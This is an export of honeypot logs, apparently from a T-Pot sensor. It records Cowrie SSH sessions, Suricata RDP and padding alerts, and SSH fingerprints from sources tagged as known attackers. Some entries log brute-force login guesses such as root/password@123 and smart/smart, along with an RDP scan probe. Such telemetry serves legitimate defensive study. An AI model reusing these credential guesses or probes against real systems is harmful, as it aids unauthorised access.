30011	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:31:52.147893+03	2021-09-20 14:45:02.460141+03	{"_id": "4Ab6AnwBvYTbRNuECDmr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "223.241.247.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51854, "timestamp": "2021-09-20T11:31:52.147893", "@timestamp": "2021-09-20T11:31:52.147Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30012	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:31:53.781747+03	2021-09-20 14:45:02.461142+03	{"_id": "6Qb6AnwBvYTbRNuEDTm5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:43034 (192.168.176.2:22) [session: 5894332d1c70]", "session": "5894332d1c70", "@version": "1", "protocol": "ssh", "src_port": 43034, "dest_port": 22, "timestamp": "2021-09-20T11:31:53.781747Z", "@timestamp": "2021-09-20T11:31:53.781Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30013	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:31:53.619144+03	2021-09-20 14:45:02.462142+03	{"_id": "6gb6AnwBvYTbRNuEDTm5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.login.failed", "message": "login attempt [root/password@123] failed", "session": "818d17c12765", "@version": "1", "password": "password@123", "username": "root", "timestamp": "2021-09-20T11:31:53.619144Z", "@timestamp": "2021-09-20T11:31:53.619Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30014	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:31:53.785113+03	2021-09-20 14:45:02.463142+03	{"_id": "6wb6AnwBvYTbRNuEDTm5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "5894332d1c70", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:31:53.785113Z", "@timestamp": "2021-09-20T11:31:53.785Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30015	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:31:54.037674+03	2021-09-20 14:45:02.465142+03	{"_id": "7Ab6AnwBvYTbRNuEDTm5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "5894332d1c70", "@version": "1", "timestamp": "2021-09-20T11:31:54.037674Z", "@timestamp": "2021-09-20T11:31:54.037Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30016	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:31:54.036375+03	2021-09-20 14:45:02.466143+03	{"_id": "7Qb6AnwBvYTbRNuEDzlf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 301693286288794, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43034, "dest_port": 22, "timestamp": "2021-09-20T11:31:54.036375Z", "@timestamp": "2021-09-20T11:31:54.036Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30017	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:31:54.036568+03	2021-09-20 14:45:02.467142+03	{"_id": "7gb6AnwBvYTbRNuEEDl7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43034, "timestamp": "2021-09-20T11:31:54.036568", "@timestamp": "2021-09-20T11:31:54.036Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30018	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:31:54.897959+03	2021-09-20 14:45:02.469142+03	{"_id": "8Ab6AnwBvYTbRNuEETmh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "818d17c12765", "@version": "1", "duration": 2.7524826526641846, "timestamp": "2021-09-20T11:31:54.897959Z", "@timestamp": "2021-09-20T11:31:54.897Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30019	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:31:54.037039+03	2021-09-20 14:45:02.470141+03	{"_id": "7wb6AnwBvYTbRNuEEDl7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 43034, "dest_port": 22, "timestamp": "2021-09-20T11:31:54.037039", "@timestamp": "2021-09-20T11:31:54.037Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30020	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:31:55.11176+03	2021-09-20 14:45:02.471143+03	{"_id": "8Qb6AnwBvYTbRNuEETmh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [smart/smart] failed", "session": "5894332d1c70", "@version": "1", "password": "smart", "username": "smart", "timestamp": "2021-09-20T11:31:55.111760Z", "@timestamp": "2021-09-20T11:31:55.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30021	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:31:56.375427+03	2021-09-20 14:45:02.473144+03	{"_id": "9wb6AnwBvYTbRNuEGTlx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5894332d1c70", "@version": "1", "duration": 2.5911781787872314, "timestamp": "2021-09-20T11:31:56.375427Z", "@timestamp": "2021-09-20T11:31:56.375Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30022	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:31:57.363396+03	2021-09-20 14:45:02.474142+03	{"_id": "-Ab6AnwBvYTbRNuEGzkZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:57.032520+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2004838945488648, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55851, "dest_port": 3389, "timestamp": "2021-09-20T11:31:57.363396Z", "@timestamp": "2021-09-20T11:31:57.363Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30023	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:31:57.363396+03	2021-09-20 14:45:02.475142+03	{"_id": "-gb6AnwBvYTbRNuEGzka", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:57.032520+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2004838945488648, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55851, "dest_port": 3389, "timestamp": "2021-09-20T11:31:57.363396Z", "@timestamp": "2021-09-20T11:31:57.363Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30024	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:31:57.513901+03	2021-09-20 14:45:02.477142+03	{"_id": "-wb6AnwBvYTbRNuEGzka", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:57.032520+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 2004838945488648, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 55851, "timestamp": "2021-09-20T11:31:57.513901Z", "@timestamp": "2021-09-20T11:31:57.513Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30026	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:47.909543+03	2021-09-20 14:45:02.479142+03	{"_id": "vwb5AnwBvYTbRNuE9znq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 13, "bytes_toclient": 0, "bytes_toserver": 1310}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAwQAAAD/AgAAAAAAAAAAAAH/8J8CBAAAAP8CAAAAAAAAAAAAAAAAAPsEAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:47.909543Z", "@timestamp": "2021-09-20T11:31:47.909Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........................................................"}}	1	\N	\N	alert	\N	\N
30027	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:50.423311+03	2021-09-20 14:45:02.480141+03	{"_id": "ygb5AnwBvYTbRNuE_zm8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 19, "bytes_toclient": 0, "bytes_toserver": 1870}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAAAAAD7BAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:50.423311Z", "@timestamp": "2021-09-20T11:31:50.423Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...................................."}}	1	\N	\N	alert	\N	\N
30028	169.254.159.2	109.199.241.180	Suricata	2021-09-20 14:31:50.423966+03	2021-09-20 14:45:02.482142+03	{"_id": "zAb5AnwBvYTbRNuE_zm8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "169.254.159.2", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:31:50.423966Z", "@timestamp": "2021-09-20T11:31:50.423Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30029	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:50.908234+03	2021-09-20 14:45:02.483141+03	{"_id": "0gb6AnwBvYTbRNuEAzml", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 22, "bytes_toclient": 0, "bytes_toserver": 2180}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAwQAAAD/AgAAAAAAAAAAAAAAAAD7BAAAAP8CAAAAAAAAAAAAAAABAAMEAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:50.908234Z", "@timestamp": "2021-09-20T11:31:50.908Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........................................................"}}	1	\N	\N	alert	\N	\N
